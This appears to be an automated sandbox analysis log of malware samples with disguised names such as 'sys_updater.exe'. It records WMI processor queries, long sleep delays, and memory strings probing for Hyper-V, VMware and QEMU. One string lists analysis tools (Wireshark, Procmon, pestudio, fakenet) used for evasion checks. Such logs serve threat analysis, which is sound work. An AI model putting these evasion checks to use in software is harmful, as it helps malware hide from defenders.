Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Thread delayed: delay time: 59874	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Thread delayed: delay time: 59750	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Thread delayed: delay time: 59640	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Thread delayed: delay time: 59531	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Thread delayed: delay time: 59422	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Thread delayed: delay time: 59297	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Thread delayed: delay time: 59178	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Thread delayed: delay time: 59047	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Thread delayed: delay time: 58932	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Thread delayed: delay time: 1199988	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Thread delayed: delay time: 59877	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Thread delayed: delay time: 59754	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Thread delayed: delay time: 59629	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Thread delayed: delay time: 59504	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Thread delayed: delay time: 59363	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Thread delayed: delay time: 59238	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Thread delayed: delay time: 59113	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Thread delayed: delay time: 58988	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Thread delayed: delay time: 58863	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Thread delayed: delay time: 58738	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Thread delayed: delay time: 599905	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Thread delayed: delay time: 59875	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Thread delayed: delay time: 59765	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Thread delayed: delay time: 59656	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Thread delayed: delay time: 59547	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Thread delayed: delay time: 59438	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Thread delayed: delay time: 59314	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Thread delayed: delay time: 59189	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Thread delayed: delay time: 598968	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Thread delayed: delay time: 59766	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Thread delayed: delay time: 59657	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Thread delayed: delay time: 59532	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Thread delayed: delay time: 59408	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Thread delayed: delay time: 59286	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Thread delayed: delay time: 59157	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Thread delayed: delay time: 598000	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Thread delayed: delay time: 59860	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Thread delayed: delay time: 59751	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Thread delayed: delay time: 59626	Jump to behavior
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Thread delayed: delay time: 922337203685477

Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2141824907.00000234D4182000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2145592189.00000234D4182000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2141802833.00000234D4182000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2144121845.00000234D4182000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flush
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2170903109.00000234D3F9E000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2180148890.00000234D3FA5000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2184700567.00000234D3FA8000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2932929052.0000020E479B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Dynamic Memory Integration Service
Source: explert.exe, 0000000E.00000002.1845219099.00000000008FD000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: Avmtoolsd.dll
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2141257028.00000234D4169000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Swi
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2170903109.00000234D3F9E000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2180148890.00000234D3FA5000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2184700567.00000234D3FA8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V VM Vid Partitionl
Source: sys_updater.exe, 00000018.00000003.2637078525.0000021E02FCE000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2634313717.0000021E02FDD000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2637115071.0000021E02FDD000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2634273293.0000021E02FCE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot00
Source: sys_updater.exe, 0000001B.00000003.2716964943.00000159F1B0B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ime6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot4890HWP Request MSR Context Switches/sec4892Guest Run Time4894Idle Time4896% Total Run Time4898% Hypervisor Run Time4900% Guest Run Time4902% Idle Time4904Total Interrupts/sec4788Hyper-V Hypervisor4790Logical Processors4792Partitions4794Total Pages4796Virtual Processors4798Monitored Notifications4800Modern Standby Entries4802Platform Idle Transitions4804HypervisorStartupCost4906Hyper-V Hypervisor Root Partition4908Virtual Processors4910Virtual TLB Pages4912Address Spaces4914Deposited Pages4916GPA Pages4918GPA Space Modifications/sec4920Virtual TLB Flush Entires/sec4922Recommended Virtual TLB Size49244K GPA pages49262M GPA pages49281G GPA pages4930512G GPA pages49324K device pages49342M device pages49361G device pages4938512G device pages4940Attached Devices4942Device Interrupt Mappings4944I/O TLB Flushes/sec4946I/O TLB Flush Cost4948Device Interrupt Errors4950Device DMA Errors4952Device Interrupt Throttle Events4954Skipped Timer Ticks4956Partition Id4958Nested TLB Size4960Recommended Nested TLB Size4962Nested TLB Free List Size4964Nested TLB Trimmed Pages/sec4966Pages Shattered/sec4968Pages Recombined/sec4970I/O TLB Flushes Base4972Hyper-V Hypervisor Root Virtual Processor4974Total Run Time4976Hypervisor Run Time4978Remote Node Run Time4980Normalized Run Time4982Ideal Cpu4984Hypercalls/sec4986Hypercalls Cost4988Page Invalidations/sec4990Page Invalidations Cost4992Control Register Accesses/sec4994Control Register Accesses Cost4996IO Instructions/sec4998IO Instructions Cost5000HLT Instructions/sec5002HLT Instructions Cost5004MWAIT Instructions/sec5006MWAIT Instructions Cost5008CPUID Instructions/sec5010CPUID Instructions Cost5012MSR Accesses/sec5014MSR Accesses Cost5016Other Intercepts/sec5018Other Intercepts Cost5020External Interrupts/sec5022Ex
Source: sys_updater.exe, 0000001B.00000003.2765696343.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 6242WorkflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot{d
Source: sys_updater.exe, 00000018.00000003.2634383831.0000021E02FCC000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2632091020.0000021E02FCC000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2635858168.0000021E02FCC000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2631811677.0000021E02FC1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Re
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2170903109.00000234D3F9E000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2180148890.00000234D3FA5000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2184700567.00000234D3FA8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: THyper-V Hypervisor Root Virtual Processor&Ef!
Source: sys_updater.exe, 00000018.00000003.2688850080.0000021E016A9000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2664610216.0000021E016B4000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2765696343.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2788314764.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2800169129.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2932929052.0000020E479B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V VM Vid Partition
Source: sys_updater.exe, 00000018.00000003.2686049114.0000021E03765000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2660087797.0000021E03567000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2759055860.00000159F38C7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2779479672.00000159F38C8000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2915091882.0000020E49827000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2958783527.0000020E498F6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: sys_updater.exe, 00000018.00000003.2688850080.0000021E016A9000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2664610216.0000021E016B4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor.
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2170903109.00000234D3F9E000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2180148890.00000234D3FA5000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2184700567.00000234D3FA8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: X2Hyper-V VM Vid Partition7w
Source: sys_updater.exe, 00000022.00000000.2519363810.00007FF6712E1000.00000020.00000001.01000000.00000018.sdmp	Binary or memory string: VMwareUsM1
Source: sys_updater.exe, 0000001F.00000003.2932929052.0000020E479B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VHyper-V Dynamic Memory Integration Service
Source: sys_updater.exe.26.dr	Binary or memory string: hollows_hunter32procexp64.exeprocexp.exeProcmon.exeProcmon64.exepestudio.exeKsDumper.exeprl_cc.exeprl_tools.exepe-sieve64.exeMoneta64.exefakenet.exeWireshark.exeVBoxService.exeVMwareUser.exevmtoolsd.exeVMwareTray.exevmsrvc.exeVBoxTray.exeC:\Users\Hassp\.cargo\registry\src\index.crates.io-6f17d22bba15001f\antilysis-0.1.2\src\lib.rs>
Source: sys_updater.exe, 0000001B.00000003.2718630551.00000159F3479000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: rom cache9588WININET: Bytes from server9590WINHTTP: Bytes from cache9592WINHTTP: Bytes from server9594OTHER: Bytes from cache9596OTHER: Bytes from server9598Discovery: Attempted discoveries9600Local Cache: Cache complete file segments9602Local Cache: Cache partial file segments9604Hosted Cache: Client file segment offers made9606Retrieval: Average branch rate9608Discovery: Successful discoveries9610Hosted Cache: Segment offers queue size9612Publication Cache: Published contents9614Local Cache: Average access time3432WSMan Quota Statistics3434Total Requests/Second3436User Quota Violations/Second3438System Quota Violations/Second3440Active Shells3442Active Operations3444Active Users3446Process ID1914Hyper-V VM Vid Partition1916Physical Pages Allocated1918Preferred NUMA Node Index1920Remote Physical Pages1922ClientHandles1924CompressPackTimeInUs1926CompressUnpackTimeInUs1928CompressPackInputSizeInBytes1930CompressUnpackInputSizeInBytes1932CompressPackOutputSizeInBytes1934CompressUnpackOutputSizeInBytes1936CompressUnpackUncompressedInputSizeInBytes1938CompressPackDiscardedSizeInBytes1940CompressWorkspaceSizeInBytes1942CompressScratchPoolSizeInBytes1944CryptPackTimeInUs1946CryptUnpackTimeInUs1948CryptPackInputSizeInBytes1950CryptUnpackInputSizeInBytes1952CryptPackOutputSizeInBytes1954CryptUnpackOutputSizeInBytes1956CryptScratchPoolSizeInBytes?
Source: sys_updater.exe, 0000001B.00000003.2765696343.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2788314764.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2800169129.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Dynamic Memory Integration Service#GR
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2144347558.00000234D412A000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2142157004.00000234D412A000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2144672790.00000234D410F000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2142269009.00000234D412A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 048
Source: sys_updater.exe, 00000018.00000003.2688850080.0000021E016A9000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2664610216.0000021E016B4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 2Hyper-V VM Vid Partitionsys.D
Source: sys_updater.exe, 00000022.00000003.2888952827.00000237D326B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Count
Source: MSBuild.exe, 0000000C.00000002.1842346912.0000000002F93000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \qemu-ga.exe
Source: sys_updater.exe, 00000018.00000003.2688850080.0000021E016A9000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2664610216.0000021E016B4000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2932929052.0000020E479B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: JHyper-V Hypervisor Logical Processor
